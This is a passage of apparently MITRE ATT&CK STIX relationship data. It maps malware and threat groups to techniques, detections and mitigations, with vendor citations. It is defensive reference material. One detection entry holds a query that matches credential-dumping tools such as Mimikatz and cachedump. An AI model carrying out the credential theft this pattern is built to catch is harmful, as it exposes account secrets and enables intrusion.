2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.711Z","description":"[Machete](https://attack.mitre.org/software/S0409) is written in Python and is used in conjunction with additional Python scripts.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cb5e1712-13ba-48b5-9787-893e8228f88d","created":"2022-03-30T14:26:51.839Z","x_mitre_version":"0.1","external_references":[{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"source_name":"Enigma MMC20 COM Jan 2017","url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)","modified":"2022-04-20T12:35:10.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb62e09c-5092-418e-99d3-ab7b5fc73017","type":"relationship","created":"2021-03-01T14:07:36.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-04-24T22:11:01.082Z","description":"[LookBack](https://attack.mitre.org/software/S0582) can retrieve file listings from the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb6311e7-46a4-4953-8080-d7908e049c94","created":"2024-03-11T17:48:34.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T17:57:50.964Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) is a Python web shell that can embed in the Ivanti Connect Secure CAV Python package.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb673e8c-4d90-4e12-bfc9-80727e2ded41","created":"2024-08-26T18:04:55.452Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:04:55.452Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has distributed a trojanized version of PuTTY software for initial access to victims.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb67b57d-2ab3-4971-9b8d-83768df36df0","type":"relationship","created":"2019-01-29T18:17:59.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:57:20.520Z","description":"[PlugX](https://attack.mitre.org/software/S0013) decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.(Citation: CIRCL PlugX March 2013)(Citation: Trend Micro DRBControl February 2020)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cb68541e-3ca7-4e2d-892d-c30b50107b39","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MirageFox](https://attack.mitre.org/software/S0280) can gather the username from the victim’s machine.(Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb68b0a6-1c36-4b60-a19f-7be618b9fb05","type":"relationship","created":"2021-10-06T19:21:10.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T15:06:55.927Z","description":"[Crimson](https://attack.mitre.org/software/S0115) has the ability to execute commands with the COMSPEC environment variable.(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb68b950-31f1-4ed7-b184-b9208588648a","created":"2023-01-04T18:30:54.650Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T18:30:54.650Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used Cloudflare services for data exfiltration.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb69217e-f063-4093-bcf0-f051ecd42e25","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.","url":"https://www.justice.gov/opa/page/file/1098481/download"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"FireEye APT28 Hospitality Aug 2017","description":"Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.420Z","description":"[APT28](https://attack.mitre.org/groups/G0007) deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.(Citation: FireEye APT28)(Citation: FireEye APT28 Hospitality Aug 2017) [APT28](https://attack.mitre.org/groups/G0007) close-access teams have used Wi-Fi pineapples to intercept Wi-Fi signals and user credentials.(Citation: US District Court Indictment GRU Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb69898b-b5e4-407a-964d-a13149accdd7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-03-17T01:53:17.529Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) modifies the %regrun% Registry to point itself to an autostart mechanism.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb7005a8-0c69-4f5f-b14c-aae0c8e2cced","created":"2023-03-26T16:55:47.915Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:55:47.915Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) named tasks `\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager` in order to appear legitimate.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb727277-5491-422f-ab40-1bd1be973d1e","type":"relationship","created":"2022-03-21T16:07:22.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-21T16:07:22.479Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has developed custom malware that allowed them to maintain persistence on victim networks.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb7b8743-0d0a-46a1-bab9-80f90e73d127","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"def_ev_win_event_logging","description":"Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.","url":"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"},{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T23:34:09.899Z","description":"Monitor the addition of the MiniNT registry key in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control, which may disable Event Viewer.(Citation: def_ev_win_event_logging)(Citation: disable_win_evt_logging) ","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb7c7b64-cad4-474d-b8af-9cd8a73ae47e","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor files viewed in isolation that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb8572e5-de4e-4160-ba8c-d994ebd01e51","type":"relationship","created":"2021-05-11T18:51:16.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T01:35:43.739Z","description":"Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization for code repositories.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb87a0ce-0976-49e5-8e9c-2c908a24b30f","type":"relationship","created":"2019-06-13T16:59:18.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T03:18:18.630Z","description":"Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb909b8f-59ba-4edd-ac04-7d9fafdcfe89","created":"2021-10-12T21:53:01.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.429Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has obtained and used tools such as [BloodHound](https://attack.mitre.org/software/S0521), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Mimikatz](https://attack.mitre.org/software/S0002), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cb9959c5-377b-4278-8a55-2c8863f96f23","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft - Cached Creds","description":"Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"},{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T15:51:04.289Z","description":"Monitor executed commands and arguments that may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\n\nAnalytic 1 - Unusual access to cached domain credentials.\n\n (index=security sourcetype=\"Powershell\" EventCode=4104 Image=\"*powershell.exe\" CommandLine IN (\"*Invoke-Mimikatz*\", \"*Invoke-CachedCredentials*\"))\nOR\n(index=security sourcetype=\"linux_secure\" (cmd IN (\"*mimikatz*\", \"*cachedump*\"))) ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb9f7bf4-a118-457c-95f8-512d84cf7be2","type":"relationship","created":"2019-04-19T16:28:49.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Nltest Manual","url":"https://ss64.com/nt/nltest.html","description":"ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."}],"modified":"2019-04-22T19:06:17.471Z","description":"[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate remote domain controllers using options such as /dclist and /dsgetdc.(Citation: Nltest Manual)","relationship_type":"uses","source_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cba11c5f-afe2-42e1-8995-8b1105d75e7a","type":"relationship","created":"2021-04-13T12:56:16.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:56:16.352Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to list and extract data from SQL databases.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cba3f208-4db7-486b-adb1-311910b0382d","type":"relationship","created":"2021-08-04T13:44:25.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.807Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can establish persistence by writing the Registry value MicroNativeCacheSvc to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbadd419-3f8c-485a-a458-09caed90d82e","type":"relationship","created":"2021-05-05T17:56:59.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.779Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has delivered payloads via spearphishing attachments.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbaf6578-b0f6-4d48-86c1-bfe5089b1b1f","created":"2022-04-11T16:14:35.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T16:18:17.581Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has packed malware and tools, including using VMProtect.(Citation: Trend Micro DRBControl February 2020)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbb27eed-2e1c-4675-a077-28765060b349","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.209Z","description":"[yty](https://attack.mitre.org/software/S0248) packs a plugin with UPX.(Citation: ASERT Donot March 